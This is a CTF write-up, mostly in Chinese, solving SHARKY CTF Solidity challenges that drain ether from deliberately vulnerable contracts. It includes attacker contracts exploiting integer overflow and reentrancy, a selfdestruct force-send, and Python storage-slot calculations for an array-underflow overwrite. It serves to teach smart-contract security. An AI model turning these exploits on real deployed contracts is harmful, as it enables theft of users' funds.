SHARKY CTF BLOCKCHAIN

0x01 简介

复现一下SHARKY CTF BLOCKCHAIN的赛题,提升一下自己

0x02 WARMUP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
pragma solidity = 0.4.25;

contract Warmup {
bool public locked;

constructor() public payable {
locked = true;
}

function unlock() public payable {
require(msg.value == 0.005 ether);
locked = false;
}

function withdraw() public payable {
require(!locked);
msg.sender.call.value(address(this).balance)();
}
}

Just a warmup challenge, this need us to deloy the contract on remix and invoke the unlock function with 0.005 ether to put unlock to false, so that we can invoke withdraw() to get flag~

这个很简单,先调用unlock函数,再调用withdraw函数就可以了

0x03 LOGIC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
pragma solidity = 0.4.25;

contract Logic {
address public owner;
bytes32 private passphrase = "th3 fl4g 1s n0t h3r3";

constructor() public payable {
owner = msg.sender;
}

function withdraw() public {
require(msg.sender == owner);
msg.sender.call.value(address(this).balance)();
}

function claim(bytes32 _secret) public payable {
require(msg.value == 0.05 ether && _secret == passphrase);
owner = msg.sender;
}
}

Same as warmup, we should steal all money~

读取一下通过浏览器passphrase即可

image-20210908182212140

0x04 GUESSING

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
pragma solidity = 0.4.25;

contract Guessing {
address public owner;
bytes32 private passphrase;

constructor(bytes32 _passphrase) public payable {
owner = msg.sender;
passphrase = keccak256(abi.encodePacked(_passphrase));
}

function withdraw() public {
require(msg.sender == owner);
msg.sender.call.value(address(this).balance)();
}

function claim(bytes32 _secret) public payable {
require(keccak256(abi.encodePacked(_secret)) == passphrase);
owner = msg.sender;
}
}

依旧和上一题差不多

image-20210908182847638

0x05 MULTIPASS

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
pragma solidity = 0.4.25;

contract Multipass {
address public owner;
uint256 public money;

mapping(address => int256) public contributions;

bool public withdrawn;

constructor() public payable {
contributions[msg.sender] = int256(msg.value * 900000000000000000000);
owner = msg.sender;
money = msg.value;
withdrawn = false;
}

function gift() public payable {
require(contributions[msg.sender] == 0 && msg.value == 0.00005 ether);
contributions[msg.sender] = int256(msg.value) * 10;
money += msg.value;
}

function takeSomeMoney() public {
require(msg.sender == owner && withdrawn == false);
uint256 someMoney = money/20;
if(msg.sender.call.value(someMoney)()){
money -= someMoney;
}
withdrawn = true;
}

function contribute(int256 _factor) public {
require(contributions[msg.sender] != 0 && _factor < 10);
contributions[msg.sender] *= _factor;
}

function claimContract() public {
require(contributions[msg.sender] > contributions[owner]);
owner = msg.sender;
}
}

Another Steal money task of course XD.

整数溢出

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
contract attack{
Multipass x;
constructor(){
x = Multipass(address contract);
}

function prepare() public payable{
x.gift.value(0.00005 ether)();
x.contribute(-100000000000);
x.contribute(-100000000000);

}

function Claim(){
x.claimContract();
}

function reEntry(){
x.takeSomeMoney();
}

function() public payable{
x.takeSomeMoney(); //reEntry
}


}

Prepare()->Claim->reEntry

0x06 SHASHASHA

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
pragma solidity = 0.4.25;

contract Shashasha {
address public owner;
uint256 public money;

mapping(address => uint256) private contributions;

bool public hacker;
uint[] public godlike;

constructor() public payable {
owner = msg.sender;
contributions[owner] = msg.value * 9999999999999;
money += msg.value;
hacker = false;
}

function becomingHacker() public {
require(address(this).balance != money);
contributions[msg.sender] = 100;
hacker = true;
}

function remove() public{
require(hacker);
godlike.length--;
}

function append(uint256 _value) public{
require(hacker);
godlike.push(_value);
}

function update(uint256 _key, uint256 _value) public {
require(hacker);
godlike[_key] = _value;
}

function withdraw() public payable {
require(contributions[msg.sender] > contributions[owner]);
msg.sender.call.value(address(this).balance)();
}

function getContrib(address _key) public view returns(uint256) {
return contributions[_key];
}
}

The last steal money task, and really fucking hard! o(╥﹏╥)o

要想成为hack需要先hacker = true,也就是address(this).balance != money,但是合约的默认函数不是payable,我们就没有办法直接发送。想到了selfdestruct。

1
2
3
4
5
6
contract attack{
constructor() payable{}
function destory(){
selfdestruct(address contract);
}
}

此时调用becomingHacker()函数就可以成功

在注意到 remove()可以通过多次调用实现整数减法溢出,我们就可以实现数组越界访问

image-20210909124440662

接下去就是寻找contributions映射的位置去修改owner的数值,先计算contributions[owner]对应的位置

1
2
3
4
5
6
7
8
9
import sha3
import binascii
def byte32(i):
return binascii.unhexlify('%064x'%i)
key=0x0b896C359adF4BB1c19c7dfd41Dc35dc9216E470
a=byte32(key)+byte32(2)
b=sha3.keccak_256(a).hexdigest()
print(b)
#814b2098a804d4eb037abd074ad95f52b2b58dfc0d6ea8162adc21fe54e9f0b6

image-20210910211904766

再计算godlike[attack]对应的位置

1
2
3
4
5
6
import sha3
import binascii
def byte32(i):
return binascii.unhexlify('%064x'%i)
b=sha3.keccak_256(byte32(4)).hexdigest()
#8a35acfbc15ff81a39ae7d344fd709f28e8600b4aa8c65c6b64bfe7fe36bd19b

根据公示计算偏移的位置

1
2
print(hex(2**256-0x8a35acfbc15ff81a39ae7d344fd709f28e8600b4aa8c65c6b64bfe7fe36bd19b+0x814b2098a804d4eb037abd074ad95f52b2b58dfc0d6ea8162adc21fe54e9f0b6))
#0xf715739ce6a4dcd0c9cc3fd2fb025560242f8d4762e2424f7490237e717e1f1b

image-20210910213845520

image-20210910213858460

此时我们就可以实现contributions[msg.sender] > contributions[owner],从而调用withdraw函数,达到题目要我们实现的目的。